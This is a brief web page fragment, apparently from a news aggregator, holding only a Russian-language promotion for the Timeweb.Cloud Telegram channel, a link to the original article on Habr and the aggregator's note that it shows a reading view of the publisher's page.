Новости, обзоры продуктов и конкурсы от команды Timeweb.Cloud — в нашем Telegram-канале

View the original on Хабр

KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.